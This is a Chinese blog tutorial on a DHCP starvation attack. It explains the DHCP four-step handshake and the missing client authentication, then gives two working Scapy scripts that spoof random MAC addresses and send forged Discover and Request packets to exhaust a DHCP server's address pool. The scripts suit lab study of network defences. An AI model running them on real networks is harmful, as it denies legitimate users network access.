当前位置: 首页 > news >正文

DHCP 泛洪攻击小实验

DHCP 泛洪攻击

攻击原理:通过虚拟随机生成的mac 地址占用DHCP 服务器中的地址池达到正常机器无法获取到IP 地址从而无法上网

DHCP 协议原理

DHCP 是为了解决静态IP 地址,每次都需要进行手动输入IP的不方便

DHCP 客户端端口68 ,DHCP 服务端端口 67

  1. 首先Client 由于仅仅存在mac 地址,所以需要获取一个未占用的IP 用于进行标识身份上网

  2. 由于Client 并不知道DHCP Server 的IP和mac,所以会发送一个广播包 Discover(包内信息带有自身mac)

  3. DHCP Server 收到请求后,检查自身地址池,若存在空闲IP,向Discover 请求包源MAC 进行Offer 回包(默认为广播包,可以指定为单播包)

  4. Client 收到Offer 包后,进行筛选,筛选完成后确认该IP 地址,向DHCP Server 发起 Request 包用于确认该IP地址Request 包为广播包

  5. DHCP Server 收到Request 包后,在地址池中标记为此IP 已被使用,且保存其绑定的MAC 地址,进行ACK 确认包告知Client 无误


dhcp


思考:

为什么需要进行四次握手的方式才能获得IP?若是仅获取IP的话,完全可以Discover 包发起请求,Offer包回IP地址完成一次IP分配。

由于在真实的网络环境中,往往不会仅仅存在一台DHCP 服务器,而是存在多台的,若是采用Discover + Offer 的方式分配地址的话,会造成大量的IP 地址浪费,而Request 包作为广播就是为了告知所有的DHCP Server 不会使用其IP。从而不会造成地址的浪费;


漏洞点

整体从DHCP 的原理看下来,不难发现,在完成一个完整的IP 分配后,完全不会校验Client 的真实性;从而导致了一台Client 就可以伪造大量MAC 地址,按照DHCP 协议的四个数据包向Server 发起请求,即可完成占用完IP 地址池


DHCP 泛洪脚本

这里没有用到多线程的方式实现泛洪,而是采用一发一监听的方式实现泛洪(因为Client 总共发两个数据包 Discover + Request)

数据包的构建,只需要提供源MAC 即可,并在DHCP 包头标明数据包类型

xid : 用于标识数据包

src : 源mac/ip

dst : 目标mac/ip

BOOTP : DHCP 的最初协议,DHCP 就是基于BOOTP 升级的协议

from scapy.all import *
# xid 为一个客户端BOOTP 数据包的一个随机数字
for i in range(300):xid_random = random.randint(1,1000000000)mac_random = str(RandMAC())dhcp_discover = Ether(src=mac_random,dst="ff:ff:ff:ff:ff:ff")\/ IP(src = "0.0.0.0",dst = "255.255.255.255")\/ UDP(sport=68,dport=67)\/ BOOTP(chaddr=mac_random,xid=xid_random,flags=32768)\/ DHCP(options=[("message-type","discover"),"end"])sendp(dhcp_discover,iface="以太网 2")print("\n\n\nSending DHCPDISCOVER on" + "WLAN")time.sleep(1)

监听对应的物理网卡,筛选规则目标端口为DHCP 客户端从而可指定为Offer 或 ACK

这里需要取出关键的IP + Server IP + xid 即可,其余按照Request 包进行构建即可


from scapy.all import *
def dhcp_request(pkt):if pkt[DHCP].options[0][1]==2:Ether_Request = Ether(src=pkt[BOOTP].chaddr,dst = pkt[Ether].src)IP_Request = IP(src="0.0.0.0",dst="255.255.255.255")UPD_Request = UDP(sport=68,dport=67)BOOTP_Request = BOOTP(chaddr=pkt[BOOTP].chaddr,xid=pkt[BOOTP].xid)DHCP_Request = DHCP(options=[("message-type","request"),("server_id",pkt[IP].src),("requested_addr",pkt[BOOTP].yiaddr),"end"])Request = Ether_Request/IP_Request/UPD_Request/BOOTP_Request/DHCP_Requestsendp(Request,iface="以太网 2")print(pkt[BOOTP].yiaddr+"正在分配")elif pkt[DHCP].options[0][1]==5:print(pkt[BOOTP].yiaddr+"已被分配")  else:print("所有的IP已被泛洪分配完毕")
sniff(iface="以太网 2",filter="port 67",prn=dhcp_request,count=500)

http://www.hskmm.com/?act=detail&tid=38847

相关文章:

  • 2025年家装电缆工厂权威推荐榜单:光伏电缆/阻燃电缆/电线电缆源头厂家精选
  • 2025年道路裂缝密封胶生产厂家权威推荐榜单:道路专用密封胶/混凝土路面灌缝胶/聚氨酯灌缝胶源头厂家精选
  • 2025 年模板加固源头厂家最新推荐榜:优质企业权威测评出炉,含高精 / 剪力墙等多类型模板加固品牌
  • 102302155张怡旋数据采集第一次作业
  • 2025年人字纹机织布源头厂家权威推荐榜单:700g机织布/锦纶工业用布/800g机织布源头厂家精选
  • 2025年永磁同步变频器加工厂权威推荐榜单:高压变频柜装置/通用矢量变频器/高压变频器源头厂家精选
  • Day4无序,有序和定义列表
  • 刷题日记—数组练习-幻方
  • IT运维工程师的起源与发展
  • JBoltAI:解锁Java团队的AI开发潜能,引领产业数智化升级新浪潮
  • SpringMVC 启动与请求处理流程解析 - Higurashi
  • Java 企业 AI 转型选什么?JBoltAI 框架:20 + 大模型 + 向量数据库,AI 应用超灵活
  • 20232401 2025-2026-1 《网络与系统攻防技术》实验三实验报告
  • JBoltAI:企业级 Java AI 应用开发框架
  • 告别 AI 开发 “瞎折腾”!JBoltAI 框架帮 Java 团队提速,AI 应用落地快人一步
  • 软件技术基础第二次作业
  • Log4Net配置文件参考
  • 2025年8座旅游观光车供应商权威推荐榜单:11座旅游观光车/景区观光车/燃油观光车源头厂家精选
  • 2025 年健身器材品牌最新推荐排行榜:权威测评揭晓家用商用高口碑品牌及选购指南商用 / 单位 / 家庭 / 有氧 / 力量健身器材推荐
  • 2025 年最新推荐!工业 / 防爆 / 低温 / 水冷 / 螺杆 / 超低温等多类型冷水机定制厂家榜单,助力企业精准选择高效制冷品牌
  • 2025年红木家具厂家权威推荐榜:交趾黄檀/小叶紫檀/巴里黄檀/缅甸花梨/阔叶黄檀,明清古典榫卯工艺高端定制全屋整装,白胚烘干源头工厂精选
  • 2025年实木家具厂家权威推荐榜:原木/全实木/北美黑胡桃/樱桃木/榫卯工艺高端定制,实木全屋整装,烘干/白胚/木蜡油保养,经典款品质之选
  • 2025年服装厂家推荐排行榜,棒球帽,卫衣,羽绒服,春秋季运动休闲服饰厂家精选
  • 2025年铁氟龙高温线厂家权威推荐榜:极细铁氟龙/UL10064铁氟龙/UL1332铁氟龙/UL1867铁氟龙/UL10064极细铁氟龙/UL1332极细铁氟龙/UL1867极细铁氟龙专业解析
  • 2025年卫衣品牌权威推荐榜:精选纯棉/加绒/oversize/情侣款卫衣源头厂家,潮流与舒适兼备的穿搭首选
  • 详细介绍:2025 年 AI+BI 趋势下,Wyn 商业智能软件如何重构企业决策效率?
  • 2025年小型收卷机生产商权威推荐榜单:收卷机械设备/多功能收卷机/收卷机械源头厂家精选
  • CICD流程建设之持续集成实践指南
  • Codeforces Round 1049 (Div. 2)C. Ultimate Value
  • iPhone 上某人发来的短信消失了?9 种解决方法